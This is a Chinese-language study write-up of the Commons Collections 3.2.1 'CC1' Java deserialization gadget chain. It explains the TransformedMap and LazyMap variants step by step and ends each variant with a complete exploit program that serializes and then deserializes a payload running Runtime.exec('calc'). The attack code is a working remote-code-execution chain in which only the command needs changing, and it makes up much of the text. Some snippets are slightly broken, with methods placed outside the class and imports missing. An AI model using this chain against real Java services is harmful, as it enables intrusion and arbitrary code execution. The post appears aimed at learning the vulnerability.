commons collections 1反序列化链学习
目录
commons collections
是一个对Java标准的集合框架,有Apache维护,不过3.0版本的commons collections
已经不再维护了
本次使用的环境是
Java_1.8u65
Commons-Collections3.2.1
Java是通过第三方网站下载的
OpenJdk的源码
Commons-Collections则是直接使用Maven安装即可:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
有意思的是当你使用IDEA安装这个CC的时候人家会告诉你这个库存在漏洞,并且给出漏洞的CVE编号。
思路
反序列化通常开始于readObject()方法,这个方法定义在ObjectInputStream
类中,用来从一个字节流来生成一个实例对象
readObject方法可以被重写,
当我们所要生成的类中含有一个readObject方法的时候,则会自动调用这个readObject
方法从而达到代码执行的目的。
通过一系列不同类但同名方法链接,从而执行到最终可以任意代码执行的类中。
同名不同类方法一般有有很多思路,例如使用Object类的方法,这些可能被重写,但肯定都在,另一个思路就是使用实现某接口的类,这些类都有接口所要求的方法。
Transformer接口
由上面的分析,我们这次从一个接口Transformer开始,这个Transformer接口就如同名字一样,是用来做转换类型,值的转换的。
这个接口也很简单,只需要实现一个transform方法即可:
这个方法接受一个Object对象,返回一个Object对象,十分宽泛。
看一下这个接口的实现类有哪些:
InvokerTransformer
类
首先要介绍的就是InvokerTransformer
类,如同名字一样,这个类可以进行任意函数调用
看一下这个类的transform方法:
这个方法要做的就是调用传入类的一个方法并执行返回结果,
通过查看构造器可以很明显的看出,需要调用的方法都是可控的,也就是说这个类可以进行任意方法的调用。
ChainedTransformer
类
接下来要介绍的时ChainedTransformer类,看一下这个类的transform方法:
这个方法是传入一个Object对象,进行一个循环调用iTransformers
的transform
,将结果的Object作为下一次传入的Object。
通过查看构造器可以看出,这个iTransformers
是可控的
ConstantTransformer
类
这是这次介绍的最后一个类,这个类十分简单:
构造器就是传入一个iConstant
参数,transform
调用的时候,不论传入一个什么对象,最后都返回这个这个实现设置好的iConstant
参数。
思路过程
下面会将整个链子分成几个部分,纯属个人行为。
0x00第一部分
我们先写一个简单的Runtime来弹计算器
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
下面用InvokerTransformr
类进行执行
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec1.transform(runtime);
现在我们就需要找一个能够触发transform
方法的地方,从而来进行命令执行
通过Alt+F7来寻找方法的调用:
看到在CC库中调用最多的是collections
包和map
包
这里可以分析LazyMap
类或者TransformedMap
类,这里我们就看TransformedMap
类
最后我们注意到TransformedMap
类下,一个比较好调用的方法checkSetValue
方法
可以猜出这个方法可能和setValue
方法有关,而setValue
又是一个较为普遍存在的方法,所以我们先研究下这个方法。
全局追踪这个checkSetValue
方法:
可以发现仅有一个地方调用了checkSetValue
,也就是我们事先猜想的setValue
方法。
我们看一下这唯一调用 checkSetValue
方法的setValue
方法所在的类 AbstractInputCheckedMapDecorator
正是之前存在checkSetValue
方法所在类TransformedMap
的父类
那就说明 TransformedMap
继承了父类的 checkSetvalue
方法
查看TransformedMap
类的构造器:
构造器被保护,但是可以看出是可以对我们需要的valueTransformer
属性进行初始化
而构造器是由一个decorate
静态方法调用,也就是说这个类是可控的。
到此问题就发送了变化,从之前的触发transform
方法变成了触发setValue
方法
完成第一部分的链子
-
新建一个
TransforedMap
类TransforedMap
类需要一个Map对象,和两个实现Transformer接口的对象:HashMap
这里使用了
HashMap
类创建Map对象,接着将实现transform方法的对象传入 -
简单写一个for循环检测一下能否成功触发计算器:
for (Map.Entry entry :map.entrySet()) { entry.setValue(runtime); }
经过测试是完全没有问题的,到此第一步就完成了
0x01第二部分
我们回到之前的地方,需要我们触发setValue
方法
我们全局搜索能够触发setValue方法的地方:
找到了一个绝杀的地方,就是在readObject中触发setValue方法,如果这个setValue方法参数可控,就意味着rce了
下面进入这个方法中进行查看:
可以看出人家的写法和我们触发setValue的写法不同, 其中传入的对象不可控,并且还有几个if判断
再看构造器
可以看出对传入的对象是直接赋值的,不过这个类连同构造器都是默认的default
类型,只能通过反射创建
再回到readObject方法中重新捋一捋思路:
可以看出它是将传入的注解类型进行了实例化,然后取了其中的值存到memberTypes
中
接着在for循环中,将默认传入的Map进行遍历,取出map中的key,然后再注解中进行查找,如果查找成功就执行第一个if,第二个是判断可不可以转换,肯定不可以,也通过。
到此我们就找到了绕过if的方法: 传入一个注解,这个注解中含有一个变量,这个变量名需要在传入Map的key中
开始继续写链子:
首先就是这个AnnotationInvocationHandler
类需要使用反射的方法获取
然后取出构造器才能实例化:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHcon = c.getDeclaredConstructor((Class<?>) Class.class, Map.class);
AIHcon.setAccessible(true);
现在就需要考虑传入什么参数来创建,这里我们选用Target
元注解,因为这个注解中存在一个值value:
我们将用来创建 TransformedMap
的hashMap添加一个value的值:
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);
然后就可以愉快的创建 AnnotationInvocationHandler
对象了
Object O = AIHcon.newInstance(Target.class,map);
剩下的就是反序列化这个O了,链子就算是找完了,但是到此这个链子仍然不能使用。
0x02第三部分
这部分就是为了修复之前链子存在的问题:
Runtime
类不支持序列化操作,需要改写setValue
方法的传入参数不可控,需要绕过
我们先看第一个问题,Runtime
类的改写,虽然Runtime
不支持序列化,但是Class类支持呀,我们完全可以通过反射类创建一个Runtime
类
Runtime改写
众所周知,Runtime是一个单例模式,所以不需要调用人家构造器,直接使用getRuntime
类就可以了,所以我们只需要两个方法,一个是getRuntime
方法,一个是exec
方法就可以触发exec
Class runtimeClass = Runtime.class;
Method runtimeMethod = runtimeClass.getMethod("getRuntime",null);
Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
Method exec1 = runtimeClass.getMethod("exec", String.class);
之后只需要使用
exec1.invoke(runtime,"calc");
就可以弹计算器
但是放到这个题里,我们就需要进一步进行改写,是将其中的函数调用用InvokeTransform
实现。
对上面的反射rec进行分析,可以发现其实是一多个方法嵌套执行的结果,所需要的方法就三个:调用getMethod
方法获取getRuntime
;然后执行getRuntime
得到Runtime
类;然后对结果Runtime
类调用exec
方法达到任意命令执行。
将以上三个步骤的方法用InvokeTransform
实现:
//getMethod
InvokerTransformer getMethod1 = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
//invoke
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null});
//exec
InvokerTransformer exec2 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
最后的调用语句就是:
exec2.transform(invoke.transform(getMethod1.transform(Runtime.class)));
连环嵌套,有点链子的感觉了
可以看出依旧是触发transform方法,就是复杂度提升了。
ChainedTransformer简化序列化链
这时候就需要用到我们开头介绍的ChainedTransformer
类了。
这个类是用来连环执行transform的,将第一次的结果当作下一个接口的参数输入,然后得到的结果重复上面的操作。
创建一个Transformer数组,然后将上面的反序列化链传入其中:
Transformer[] TrransFormers={
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
创建ChainedTransformer
对象并传入数据
ChainedTransformer chainedTransformer = new ChainedTransformer(TrransFormers);
那么现在触发反序列化就变得简单了:
chainedTransformer.transform(Runtime.class);
setValue方法绕过
回到开头提出的那个问题,setValue传入的参数无法控制怎么办,使用我们开头提供的ConstantTransformer
方法就可以绕过了,这时候我们就可以将传入参数变成从类中传入了,就解决了上面的问题。
修改方法也是十分简单,只需要在TrransFormers数组中加入ConstantTransformer
类即可,完整的TrransFormers
:
Transformer[] TrransFormers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
这时候不论传入什么参数都可以执行命令
最后我们只需要将准备好的chainedTransformer
对象传入TransformedMap.decorate
方法中,再接着传入AnnotationInvocationHandler
中,然后将结果序列化后就可以完成操作了。
附上完整的exp:
package org.Payload.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//用反射重写Runtime
Class runtimeClass = Runtime.class;
Method runtimeMethod = runtimeClass.getMethod("getRuntime",null);
Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
Method exec1 = runtimeClass.getMethod("exec", String.class);
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//exec.transform(runtime);
//用InvokerTransformer封装Runtime
//getMethod
InvokerTransformer getMethod1 = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
//invoke
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null});
//exec
InvokerTransformer exec2 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//使用ChainedTransformer改写
Transformer[] TrransFormers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TrransFormers);
//chainedTransformer.transform(null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHcon = c.getDeclaredConstructor((Class<?>) Class.class, Map.class);
AIHcon.setAccessible(true);
Object O = AIHcon.newInstance(Target.class,map);//O就是最后需要序列化的对象
serialzie(O);//这个序列化需要自己封装
unserialize();//反序列化也需要自己封装
}
}
public static void serialzie(Object O) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC1.bin"));
objectOutputStream.writeObject(O);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC1.bin"));
objectInputStream.readObject();
}
0x03 ysoserial链
这条链不同于ysoserial中的链,在调用transform方法时,上面是使用了TransformedMap类,ysoserial中使用的是LazyMap类。
里面是get方法触发transform方法:
用的懒汉式的设计模式,上面也写的很清楚,当不存在这个键的时候就通过transform方法来创建并且赋值
这里我们就直接使用最终的chainedTransformer
,触发它的transform
即可rce。
在什么地方找这个get呢,地方有很多,我们按照人家给的链子来看就是使用了我们了老朋友AnnotationInvocationHandler
类,不过这次不再仅仅是使用这个类的readObject
方法,而是调用invoke
方法,源码如下:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
通过名字AnnotationInvocationHandler
以及人家继承了InvocationHandler
接口实现了invoke
方法可以看出,这个类是一个注解的动态代理执行方法,也就是说当一个接口被执行的时候就会触发这个invoke
方法。
通过源码我们发现,这些调用的方法不能是equals
toString
hashCode
annotationType
那么接下来的问题就变成了寻找一个用来触发invoke
的接口,并且使用readObject
来调用。
这部分也是我觉得这个链最巧妙的地方,人家依旧是使用了AnnotationInvocationHandler
类,这个类中的readObject是有一步使用了**entrySet()
方法,而这个方法是在Map
**接口中的
那么自然而然,思路就变成了我们创建一个AnnotationInvocationHandler
类反序列化(用来触发entrySet
),然后其中的memberValues
(就是我们传入需要调用get的对象)是一个用AnnotationInvocationHandler
执行方法代理了Map接口的LazyMap动态代理对象。
当调用这个对象的时候就会触发get,然后命令执行。
代码如下:
获取AnnotationInvocationHandler的构造器
//首先先通过反射获取这个类
Class annotionIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor annotionIHConstructor = annotionIH.getDeclaredConstructor(
(Class<?>) Class.class, Map.class);
//提供权限
annotionIHConstructor.setAccessible(true);
先生成一个动态代理执行函数,并代理LazyMap的Map接口:
InvocationHandler h = (InvocationHandler) annotionIHConstructor.newInstance(Override.class,lazyMap);
Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
LazyMap.class.getInterfaces(),h);
接着在此使用构造器来生成AnnotationInvocationHandler
对象
Object O = annotionIHConstructor.newInstance(Override.class,map);
之后序列化这个O即可。
最终代码:
package org.Payload.CC1;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.omg.CORBA.portable.InvokeHandler;
import java.io.IOException;
import java.lang.invoke.LambdaConversionException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1LazyMap2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
ChainedTransformer chainedTransformer = new Util().chainedTransformer();
//chainedTransformer.transform(null);
//创建LazyMap函数,LazyMap的get方法会触发transform方法,
// public Object get(Object key) {
// // create value for key if key is not currently in the map
// if (map.containsKey(key) == false) {
// Object value = factory.transform(key);
// map.put(key, value);
// return value;
// }
// return map.get(key);
// }
//可以看出这个transform只会触发一次,第二次就直接返回值了。
HashMap<Object, Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
//如何触发lazyMap的get方法呢
//只需要执行对应get方法即可,不需要控制get的参数
//cc1中还是使用AnnotationInvocationHandler这个方法,不过这个是真真的使用这个类。
//首先先通过反射获取这个类
Class annotionIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor annotionIHConstructor = annotionIH.getDeclaredConstructor(
(Class<?>) Class.class, Map.class);
annotionIHConstructor.setAccessible(true);
//现在要如何触发这个get呢,AnnotationInvocationHandler是注解的一个动态代理执行方法,所以我们查看invoke方法:
// String member = method.getName();
// Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
// if (member.equals("equals") && paramTypes.length == 1 &&
// paramTypes[0] == Object.class)
// return equalsImpl(args[0]);
// if (paramTypes.length != 0)
// throw new AssertionError("Too many parameters for an annotation method");
//
// switch(member) {
// case "toString":
// return toStringImpl();
// case "hashCode":
// return hashCodeImpl();
// case "annotationType":
// return type;
// }
//
// // Handle annotation member accessors
// Object result = memberValues.get(member);
//可以看出只需要除了人家要求的几个特别方法会被执行到其他地方,最后会执行get操作,
//创建一个AnnotationInvocationHandler类的代理执行函数:
//传入的对象注解Class类随便填,第二个map需要传入Lazymap,因为最后需要执行它的get方法
InvocationHandler h = (InvocationHandler) annotionIHConstructor.newInstance(Override.class,
lazyMap);
//下面就需要找个动态代理,然后让他触发执行函数中的invoke函数,
//我们需要使用那个接口来完成这个操作呢,作者给出的是Map接口//的readObject方法,接着触发entrySet方法,这个方法是存在在Map接口中
Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
LazyMap.class.getInterfaces(),h);
//现在只需要调用这个Map类中的任意方法,就会触发invoke方法,当然得是invoke中事先排除的哪些
//这里有意思的是仍然使用了AnnotationInvocationHandler这个方法,然后调用
//readObject方法,接着触发entrySet方法,这个方法是存在在Map接口中
//新建一个AnnotationInvocationHandler方法
Object O = annotionIHConstructor.newInstance(Override.class,map);
Util.serialzie(O,"CC1.bin");//重写的工具类
Util.unserialize("CC1.bin");//重写的工具类
}
}
这个链子在创建了Map动态代理后感觉可以寻找的范围就变大了,只需要能在readObject中触发Map中常见的几个特定方法就可以触发这个漏洞,但是作者巧妙的是它最后在此利用了这个类进行触发操作,这也是这个链子有意思的地方之一。